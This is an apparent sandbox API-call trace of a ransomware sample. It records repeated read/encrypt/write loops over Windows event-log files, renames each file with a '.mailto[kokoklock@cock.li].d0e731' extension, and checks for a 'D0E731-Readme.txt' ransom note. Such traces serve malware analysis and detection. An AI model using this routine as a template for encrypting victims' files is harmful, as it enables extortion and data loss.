RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96598 [0167.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96598) returned 1 [0167.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96598 [0167.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965c0 [0167.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965c0) returned 1 [0167.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.457] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xadefe78, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xadefe78*=0x4096, lpOverlapped=0x0) returned 1 [0167.458] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.458] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.458] WriteFile (in: hFile=0x528, lpBuffer=0x2f96598*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadefeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f96598*, lpNumberOfBytesWritten=0xadefeb0*=0x20, lpOverlapped=0x0) returned 1 [0167.458] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96598) returned 1 [0167.458] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.458] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xadefec4*=0x8, lpOverlapped=0x0) returned 1 [0167.458] WriteFile (in: hFile=0x528, lpBuffer=0xadefedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0xadefedc*, lpNumberOfBytesWritten=0xadefec4*=0x4, lpOverlapped=0x0) returned 1 [0167.458] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xadefec4*=0x4, lpOverlapped=0x0) returned 1 [0167.459] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xadefec4*=0x6c, lpOverlapped=0x0) returned 1 [0167.459] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xadefec4*=0x20, lpOverlapped=0x0) returned 1 [0167.459] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xadefec4*=0x4, lpOverlapped=0x0) returned 1 [0167.459] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.459] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.459] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.459] CloseHandle (hObject=0x528) returned 1 [0167.459] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85218 [0167.459] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.459] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.459] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.461] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.462] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0167.462] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.462] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c48 [0167.462] wcscpy (in: _Dest=0x2fe3c48, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.462] wcscat (in: _Dest=0x2fe3c48, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.462] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.462] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c48) returned 1 [0167.462] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84200) returned 1 [0167.462] RtlExitUserThread (Status=0x1) Thread: id = 1661 os_tid = 0xd58 [0167.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.465] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.465] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.465] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xae6f7ac | out: lpFileSize=0xae6f7ac*=69824) returned 1 [0167.465] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.465] ReadFile (in: hFile=0x528, lpBuffer=0xae6f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0xae6f780*, lpNumberOfBytesRead=0xae6f77c*=0x4, lpOverlapped=0x0) returned 1 [0167.466] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.466] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.466] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.466] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96598 [0167.466] NtQuerySystemTime (in: CurrentTime=0xae6f758 | out: CurrentTime=0xae6f758*=132121213247892902) returned 0x0 [0167.466] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x2ebbbe9e [0167.466] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x37cbbd12 [0167.466] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x6efdcc4a [0167.466] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x903ef6ae [0167.466] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xea8ede89 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xc9bc5c2b [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x47b09bac [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xd01445ba [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x2fb84bdb [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x236611c5 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x2a99c98f [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x4a4a15c5 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x230cef4b [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xb90007d8 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xf8dfe686 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xfcefa03f [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x52cb3896 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x774bc27a [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xf00a24fb [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x7cfa179e [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x6bdf0026 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x46ff390b [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xdb055c96 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xa50d0d19 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x7501870b [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x319bcdd3 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xd47d8366 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0xbe8c65a5 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x5b34e6b1 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x495bf4d [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x9f4385c2 [0167.467] RtlRandom (in: Seed=0xae6f764 | out: Seed=0xae6f764) returned 0x307d786c [0167.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.485] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.485] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xae6f730, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xae6f730*=0x4096, lpOverlapped=0x0) returned 1 [0167.486] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965c0 [0167.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965c0) returned 1 [0167.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.487] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965c0 [0167.487] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965e8 [0167.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965e8) returned 1 [0167.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.487] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xae6f730, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xae6f730*=0x4096, lpOverlapped=0x0) returned 1 [0167.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.487] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.487] WriteFile (in: hFile=0x528, lpBuffer=0x2f965c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f965c0*, lpNumberOfBytesWritten=0xae6f768*=0x20, lpOverlapped=0x0) returned 1 [0167.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965c0) returned 1 [0167.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xae6f77c*=0x8, lpOverlapped=0x0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0xae6f794*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0xae6f794*, lpNumberOfBytesWritten=0xae6f77c*=0x4, lpOverlapped=0x0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xae6f77c*=0x4, lpOverlapped=0x0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xae6f77c*=0x6c, lpOverlapped=0x0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xae6f77c*=0x20, lpOverlapped=0x0) returned 1 [0167.488] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae6f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xae6f77c*=0x4, lpOverlapped=0x0) returned 1 [0167.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.489] CloseHandle (hObject=0x528) returned 1 [0167.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85218 [0167.489] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0167.489] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.489] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.490] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0167.490] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.491] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.491] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.491] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f842b8) returned 1 [0167.491] RtlExitUserThread (Status=0x1) Thread: id = 1662 os_tid = 0xd68 [0167.492] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.492] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.492] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.492] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xaeef988 | out: lpFileSize=0xaeef988*=69824) returned 1 [0167.492] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.492] ReadFile (in: hFile=0x528, lpBuffer=0xaeef95c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0xaeef95c*, lpNumberOfBytesRead=0xaeef958*=0x4, lpOverlapped=0x0) returned 1 [0167.493] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965c0 [0167.493] NtQuerySystemTime (in: CurrentTime=0xaeef934 | out: CurrentTime=0xaeef934*=132121213248123679) returned 0x0 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x51d73515 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x47eca5ba [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x4ef604be [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x8d199bd7 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xa6a85291 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xb94ab2fd [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x408b4297 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xb537e53e [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x407ad99c [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xb75cddcb [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x600e0710 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x31fdfe92 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xdc505a12 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x927dac5d [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xc31ca727 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xe10f37bc [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x3f9e8433 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x60f9842d [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x46ae4597 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x4129b10d [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xeada6a71 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xa0cc728d [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xa802b102 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x96f2cc65 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x4fe69cdc [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x73aba6e [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x34b7f96c [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x8e41a6ac [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x9f4878bc [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xcd1482e7 [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0xe73b81dd [0167.494] RtlRandom (in: Seed=0xaeef940 | out: Seed=0xaeef940) returned 0x2725a41 [0167.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.505] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.505] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaeef90c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xaeef90c*=0x4096, lpOverlapped=0x0) returned 1 [0167.506] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.506] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.506] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.506] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965e8 [0167.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965e8) returned 1 [0167.507] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.507] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965e8 [0167.507] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96610 [0167.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96610) returned 1 [0167.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.507] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaeef90c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xaeef90c*=0x4096, lpOverlapped=0x0) returned 1 [0167.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.507] 